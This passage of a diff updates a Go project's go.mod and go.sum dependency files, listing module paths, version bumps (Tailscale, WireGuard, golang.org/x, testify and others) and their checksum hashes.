github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 // indirect
github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd // indirect
github.com/tailscale/wireguard-go v0.0.0-20230824215414-93bd5cbf7fd8 // indirect
github.com/tcnksm/go-httpstat v0.2.0 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 // indirect
@@ -152,14 +158,14 @@ require (
github.com/vishvananda/netns v0.0.4 // indirect
github.com/x448/float16 v0.8.4 // indirect
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35 // indirect
golang.org/x/mod v0.10.0 // indirect
golang.org/x/sync v0.2.0 // indirect
go4.org/netipx v0.0.0-20230728180743-ad4cb58a6516 // indirect
golang.org/x/mod v0.11.0 // indirect
golang.org/x/sync v0.3.0 // indirect
golang.org/x/time v0.3.0 // indirect
golang.org/x/tools v0.9.1 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+84 -48
View File
@@ -1,12 +1,15 @@
cloud.google.com/go v0.26.0 h1:e0WKqKTd5BnrG8aKH3J3h+QvEIQtSUcf2n5UZ5ZgLtQ=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys=
cloud.google.com/go/compute v1.19.1 h1:am86mquDUgjGNWxiGn+5PGLbmgiWXlE/yNWpIpNvuXY=
cloud.google.com/go/compute v1.23.0 h1:tP41Zoavr8ptEqaW6j+LQOnyBBhO7OkOMAGrgLopTwY=
cloud.google.com/go/compute v1.23.0/go.mod h1:4tCnrn48xsqlwSAiLf1HXMQk8CONslYbdiEZc9FEIbM=
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA=
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
filippo.io/edwards25519 v1.0.0 h1:0wAIcmJUqRdI8IJ/3eGi5/HwXZWPujYXXlkrQogz0Ek=
filippo.io/edwards25519 v1.0.0/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns=
filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc=
filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA=
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ=
github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo=
@@ -24,6 +27,7 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIps
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/toml v1.2.1 h1:9F2/+DoOYIOksmaJFPw1tGFy1eDnIJXg+UHjuD8lTak=
github.com/BurntSushi/toml v1.2.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow=
@@ -46,6 +50,7 @@ github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQq
github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3UuJRqlA3JxYxBZEqCeOmATOvrbT4p9RA=
github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
@@ -87,17 +92,22 @@ github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5D
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
github.com/cilium/ebpf v0.10.0 h1:nk5HPMeoBXtOzbkZBWym+ZWq1GIiHUsBFXxwewXAHLQ=
github.com/cilium/ebpf v0.10.0/go.mod h1:DPiVdY/kT534dgc9ERmvP8mWA+9gvwgKfRvk4nNWnoE=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/coreos/go-iptables v0.6.0 h1:is9qnZMPYjLd8LYqmm/qlE+wwEgJIkTYdhV3rfZo4jk=
github.com/coreos/go-iptables v0.6.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
github.com/coreos/go-systemd/v22 v22.4.0 h1:y9YHcjnjynCd/DVbg5j9L/33jQM3MxJlbj/zWskzfGU=
github.com/coreos/go-systemd/v22 v22.4.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dblohm7/wingoes v0.0.0-20230426155039-111c8c3b57c8 h1:vtIE3GO4hKplR58aTRx3yLPqAbfWyoyYrE8PXUv0Prw=
github.com/dblohm7/wingoes v0.0.0-20230821191801-fc76608aecf0 h1:/dgKwHVTI0J+A0zd/BHOF2CTn1deN0735cJrb+w2hbE=
github.com/dblohm7/wingoes v0.0.0-20230821191801-fc76608aecf0/go.mod h1:6NCrWM5jRefaG7iN0iMShPalLsljHWBh9v1zxM2f8Xs=
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE=
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY=
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
@@ -112,6 +122,7 @@ github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA=
github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fxamacker/cbor/v2 v2.4.0 h1:ri0ArlOR+5XunOP8CRUowT0pSJOwhW098ZCUyskZD88=
github.com/fxamacker/cbor/v2 v2.4.0/go.mod h1:TA1xS00nchWmaBnEIxPSE5oHLuJBAVvqrtAnWBwBCVo=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
@@ -149,8 +160,9 @@ github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6Wezm
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
@@ -177,10 +189,13 @@ github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeN
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c h1:06RMfw+TMMHtRuUOroMeatRCCgSMWXCJQeABvHU69YQ=
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c/go.mod h1:BVIYo3cdnT4qSylnYqcd5YtmXhr51cJPGtnLBe/uLBU=
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM=
@@ -228,6 +243,7 @@ github.com/jsimonetti/rtnetlink v1.3.2 h1:dcn0uWkfxycEEyNy0IGfx3GrhQ38LH7odjxAgh
github.com/jsimonetti/rtnetlink v1.3.2/go.mod h1:BBu4jZCpTjP6Gk0/wfrO8qcqymnN3g0hoFqObRmUo6U=
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
@@ -235,18 +251,21 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.10.3/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
github.com/klauspost/compress v1.16.6 h1:91SKEy4K37vkp255cJ8QesJhjyRO0hn9i9G0GoUwLsk=
github.com/klauspost/compress v1.16.6/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/klauspost/compress v1.17.0 h1:Rnbp4K9EjcDuVuHtd0dgA4qNuv9yKDYKK1ulpJwgrqM=
github.com/klauspost/compress v1.17.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8=
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y=
@@ -295,8 +314,10 @@ github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/RrM=
github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
@@ -316,6 +337,7 @@ github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
github.com/pkg/sftp v1.13.5 h1:a3RLUqkyjYRtBTZJZ1VRrKbN3zhuPLlUc3sphVz81go=
github.com/pkg/sftp v1.13.5/go.mod h1:wHDZ0IZX6JcBYRK1TH9bcVq8G7TLpVHYIGJRFnmPfxg=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
@@ -332,6 +354,7 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ
github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
@@ -344,7 +367,6 @@ github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
@@ -353,28 +375,28 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d h1:K3j02b5j2Iw1xoggN9B2DIEkhWGheqFOeDkdJdBrJI8=
github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d/go.mod h1:2P+hpOwd53e7JMX/L4f3VXkv1G+33ES6IWZSrkIeWNs=
github.com/tailscale/golang-x-crypto v0.0.0-20221115211329-17a3db2c30d2 h1:pBpqbsyX9H8c26oPYC2H+232HOdp1gDnCztoKmKWKDA=
github.com/tailscale/golang-x-crypto v0.0.0-20221115211329-17a3db2c30d2/go.mod h1:V2G8jyemEGZWKQ+3xNn4+bOx+FuoXU9Zc5GUsZMthBg=
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e h1:JyeJF/HuSwvxWtsR1c0oKX1lzaSH5Wh4aX+MgiStaGQ=
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e/go.mod h1:DjoeCULdP6vTJ/xY+nzzR9LaUHprkbZEpNidX0aqEEk=
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 h1:4chzWmimtJPxRs2O36yuGRW3f9SYV+bMTTvMBI0EKio=
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05/go.mod h1:PdCqy9JzfWMJf1H5UJW2ip33/d4YkoKN0r67yKH1mG8=
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 h1:zrsUcqrG2uQSPhaUPjUQwozcRdDdSxxqhNgNZ3drZFk=
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85/go.mod h1:NzVQi3Mleb+qzq8VmcWpSkcSYxXIg0DkI6XDzpVkhJ0=
github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd h1:+fBevMGmDRNi0oWD4SJXmPKLWvIBYX1NroMjo9czjcY=
github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd/go.mod h1:QRIcq2+DbdIC5sKh/gcAZhuqu6WT6L6G8/ALPN5wqYw=
github.com/tailscale/wireguard-go v0.0.0-20230824215414-93bd5cbf7fd8 h1:V9kSpiTzFp7OTgJinu/kSJlsI6EfRs8wJgQ+Q+5a8v4=
github.com/tailscale/wireguard-go v0.0.0-20230824215414-93bd5cbf7fd8/go.mod h1:QRIcq2+DbdIC5sKh/gcAZhuqu6WT6L6G8/ALPN5wqYw=
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
github.com/tetratelabs/wazero v1.2.1 h1:J4X2hrGzJvt+wqltuvcSjHQ7ujQxA9gb6PeMs4qlUWs=
github.com/tetratelabs/wazero v1.2.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM=
github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg=
github.com/u-root/u-root v0.11.0 h1:6gCZLOeRyevw7gbTwMj3fKxnr9+yHFlgF3N7udUVNO8=
github.com/u-root/u-root v0.11.0/go.mod h1:DBkDtiZyONk9hzVEdB/PWI9B4TxDkElWlVTHseglrZY=
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 h1:YcojQL98T/OO+rybuzn2+5KrD5dBwXIvYBvQ2cD3Avg=
